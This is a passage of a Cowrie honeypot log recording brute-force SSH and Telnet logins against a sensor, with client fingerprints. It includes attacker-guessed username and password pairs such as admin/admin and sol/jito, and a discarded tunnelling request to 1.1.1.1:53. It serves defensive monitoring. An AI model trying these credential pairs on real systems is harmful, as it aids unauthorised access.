ha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:28.220227Z","src_ip":"193.32.162.145","session":"b7e8d6913868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:28.519941Z","src_ip":"193.32.162.145","session":"b7e8d6913868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd1234","message":"login attempt [telecomadmin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:28.862903Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:29.622795Z","src_ip":"193.32.162.145","session":"b7e8d6913868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:43:29.995059Z","src_ip":"193.46.255.86","session":"496d3a2aacda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45044,"dst_ip":"10.17.0.5","dst_port":22,"session":"754a6ee1e1b1","protocol":"ssh","message":"New connection: 87.251.64.176:45044 (10.17.0.5:22) [session: 754a6ee1e1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:25.526113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:25.571380Z","src_ip":"87.251.64.176","session":"754a6ee1e1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:25.660646Z","src_ip":"87.251.64.176","session":"754a6ee1e1b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:26.169300Z","src_ip":"87.251.64.176","session":"754a6ee1e1b1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:26.278853Z","session":"754a6ee1e1b1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:26.380870Z","src_ip":"87.251.64.176","session":"754a6ee1e1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:26.493613Z","src_ip":"87.251.64.176","session":"754a6ee1e1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53412,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fb16f52b6d3","protocol":"ssh","message":"New connection: 193.32.162.145:53412 (159.203.135.109:22) [session: 7fb16f52b6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:40.567036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:40.571819Z","src_ip":"193.32.162.145","session":"7fb16f52b6d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:40.689598Z","src_ip":"193.32.162.145","session":"7fb16f52b6d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:41.003912Z","src_ip":"193.32.162.145","session":"7fb16f52b6d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:45:42.111799Z","src_ip":"193.32.162.145","session":"7fb16f52b6d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36888,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7004a56b06","protocol":"telnet","message":"New connection: 180.235.129.180:36888 (10.17.0.5:23) [session: ca7004a56b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:43.209052Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36932,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bf66c12f708","protocol":"telnet","message":"New connection: 180.235.129.180:36932 (10.17.0.5:23) [session: 2bf66c12f708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:43.859128Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36890,"dst_ip":"10.17.0.5","dst_port":23,"session":"147d39a10b0b","protocol":"telnet","message":"New connection: 180.235.129.180:36890 (10.17.0.5:23) [session: 147d39a10b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:44.161658Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":33800,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b4be9df45f4","protocol":"ssh","message":"New connection: 190.244.39.224:33800 (10.17.0.5:22) [session: 8b4be9df45f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:49.624470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:49.632081Z","src_ip":"190.244.39.224","session":"8b4be9df45f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:49.817957Z","src_ip":"190.244.39.224","session":"8b4be9df45f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome#12345","message":"login attempt [ubuntu/Welcome#12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:50.577169Z","src_ip":"190.244.39.224","session":"8b4be9df45f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.471394062042236,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:51.680343Z","src_ip":"180.235.129.180","session":"ca7004a56b06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:51.775127Z","src_ip":"190.244.39.224","session":"8b4be9df45f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.804903745651245,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:51.966476Z","src_ip":"180.235.129.180","session":"147d39a10b0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.903797149658203,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:52.762810Z","src_ip":"180.235.129.180","session":"2bf66c12f708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37472,"dst_ip":"10.17.0.5","dst_port":23,"session":"840dff7bbc04","protocol":"telnet","message":"New connection: 180.235.129.180:37472 (10.17.0.5:23) [session: 840dff7bbc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:46:53.046402Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39200,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcb9c323bf6","protocol":"ssh","message":"New connection: 193.32.162.145:39200 (159.203.135.109:22) [session: 1fcb9c323bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:47:50.563905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:47:50.569432Z","src_ip":"193.32.162.145","session":"1fcb9c323bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:47:50.679905Z","src_ip":"193.32.162.145","session":"1fcb9c323bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:47:50.997397Z","src_ip":"193.32.162.145","session":"1fcb9c323bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:47:52.104446Z","src_ip":"193.32.162.145","session":"1fcb9c323bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0051212310791,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:48:53.051415Z","src_ip":"180.235.129.180","session":"840dff7bbc04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53224,"dst_ip":"159.203.135.109","dst_port":22,"session":"a222b3ef1507","protocol":"ssh","message":"New connection: 193.32.162.145:53224 (159.203.135.109:22) [session: a222b3ef1507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:02.338864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:02.347517Z","src_ip":"193.32.162.145","session":"a222b3ef1507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:02.462108Z","src_ip":"193.32.162.145","session":"a222b3ef1507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:02.764273Z","src_ip":"193.32.162.145","session":"a222b3ef1507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:03.883309Z","src_ip":"193.32.162.145","session":"a222b3ef1507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":33236,"dst_ip":"10.17.0.5","dst_port":22,"session":"038f2e165eee","protocol":"ssh","message":"New connection: 190.244.39.224:33236 (10.17.0.5:22) [session: 038f2e165eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:16.200742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:16.208303Z","src_ip":"190.244.39.224","session":"038f2e165eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:16.408414Z","src_ip":"190.244.39.224","session":"038f2e165eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin@123","message":"login attempt [gpadmin/gpadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:17.207865Z","src_ip":"190.244.39.224","session":"038f2e165eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:50:18.413580Z","src_ip":"190.244.39.224","session":"038f2e165eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39024,"dst_ip":"159.203.135.109","dst_port":22,"session":"07370ed66a55","protocol":"ssh","message":"New connection: 193.32.162.145:39024 (159.203.135.109:22) [session: 07370ed66a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:52:18.308908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:52:18.317183Z","src_ip":"193.32.162.145","session":"07370ed66a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 